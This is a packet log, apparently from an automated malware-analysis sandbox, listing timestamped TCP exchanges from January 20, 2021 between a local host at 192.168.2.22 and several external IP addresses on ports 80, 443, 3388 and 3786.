Jan 20, 2021 16:14:31.013670921 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.014653921 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.014761925 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.015588045 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.015677929 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.016660929 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.016765118 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.023854971 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.023945093 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.024933100 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.025084972 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.026138067 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.026237011 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.027323008 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.027415037 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.033806086 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.033878088 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.034828901 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.034888983 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.035974979 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.036034107 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.037069082 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.037117004 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.043521881 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.043596983 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.044480085 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.044527054 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.045689106 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.045756102 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.046816111 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.046884060 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.054708004 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.054851055 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.055959940 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.056036949 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.057821035 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.057883024 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.059746981 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.059804916 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.059904099 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.059951067 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.061095953 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.061184883 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.062262058 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.062339067 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.063628912 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.063786983 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.067053080 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.067167997 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.068048954 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.068126917 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.069480896 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.069565058 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.070503950 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.070588112 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.072798967 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.072890043 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.073915005 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.073971987 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.077419996 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.077497005 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.078515053 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.078564882 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.079716921 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.079801083 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.080801964 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.082273960 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.082479954 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.082547903 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.083626032 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.083734035 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.084736109 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.084831953 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.085937977 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.086134911 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.087186098 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.087322950 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.088310003 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.088385105 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.089493036 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.089536905 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.090627909 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.090683937 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.092036009 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.092088938 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.093044996 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.093092918 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.101708889 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.101772070 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.102740049 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.102806091 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.103939056 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.104008913 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.105053902 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.105119944 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.111310005 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.111387014 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.112217903 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.112268925 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.113698006 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.113763094 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.114427090 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.114479065 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.115664959 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.115734100 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.116960049 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.117033005 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.117893934 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.117949009 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.119107962 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.119154930 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.119425058 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:31.119469881 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:31.119484901 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:31.119520903 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:31.120107889 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.120174885 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.121270895 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.121337891 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.122462034 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.122539997 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.124118090 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.124231100 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.124691010 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.124747038 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.126036882 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.126116037 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.126995087 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.127062082 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.127510071 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:31.128222942 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.128292084 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.129340887 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.129411936 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.130455017 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.130536079 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.131629944 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.131706953 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.132761955 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.132837057 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.133838892 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.133909941 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.135004044 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.135090113 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.138617039 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.138747931 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.139684916 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.139748096 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.140795946 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:31.140815020 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:31.140871048 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.140873909 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.140929937 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.140933990 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.142002106 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.142067909 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.143450975 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.143510103 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.144944906 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.145016909 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.145282984 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:31.148504019 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.148540974 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.148659945 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.153165102 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.153255939 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.154309034 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.154397964 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.155405045 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.156625032 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.157774925 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.157814026 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.158843994 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.158921957 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.159909010 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.160027027 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.161242008 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.161308050 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.162321091 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.162414074 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.164648056 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.164731026 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.164856911 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.164915085 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.166543961 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.166635990 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.168267012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.168445110 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.168648958 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.168710947 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.169914961 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.169991016 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.175717115 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.175780058 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.176939964 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.176994085 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.178132057 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.178183079 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.179403067 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.179486990 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.185075998 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.185297012 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.186297894 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.186366081 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.187788010 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.188640118 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.188666105 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.188714027 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.194534063 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.194597960 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.195564985 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.195633888 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.196671009 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.196747065 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.197722912 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.197793007 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.203991890 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.204046965 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.205348969 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.205423117 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.206222057 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.206284046 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.207389116 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.207452059 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.209208012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.209268093 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.209974051 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.210025072 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.211699963 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.211759090 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.212918043 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.212990046 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.214095116 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.214167118 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.215334892 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.215393066 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.216583967 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.216695070 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.217683077 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.217762947 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.219099998 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.219150066 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.220084906 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.220136881 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.222501993 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.222526073 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.222559929 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.222573042 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.224396944 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.224453926 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.225428104 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.225477934 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.226484060 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.226542950 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.227677107 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.231285095 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.236355066 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.236876011 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.237432957 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.237508059 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.238622904 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.238689899 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.240622044 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.240689993 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.246026993 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.246191978 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.246882915 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.246943951 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.248262882 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.248317003 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.249373913 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.249437094 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.250602007 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.250699043 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.251674891 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.251740932 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.253077030 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.253145933 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.254183054 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.254245996 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.255244017 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.255336046 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.256376028 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.256450891 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.257539988 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.257612944 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.258156061 CET	49179	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:31.259748936 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.259819984 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.259953022 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.260004997 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.261209011 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.261290073 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.262485027 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.262557030 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.263586044 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.263639927 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.264877081 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.264920950 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.265961885 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.266024113 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.267281055 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.267358065 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.268338919 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.268399954 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.269731045 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.269787073 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.270735979 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.270803928 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.285156012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.285222054 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.285233021 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.285265923 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.286560059 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.286611080 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.287693977 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.287739038 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.297588110 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:31.297653913 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.297739029 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.298290968 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.298358917 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.299452066 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.299496889 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.300502062 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.300560951 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.305233955 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.305305958 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.305319071 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.305356026 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.306742907 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.306793928 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.307859898 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.307915926 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.308814049 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.308878899 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.310058117 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.310121059 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.311091900 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.311157942 CET	49176	80	192.168.2.22	64.37.52.138
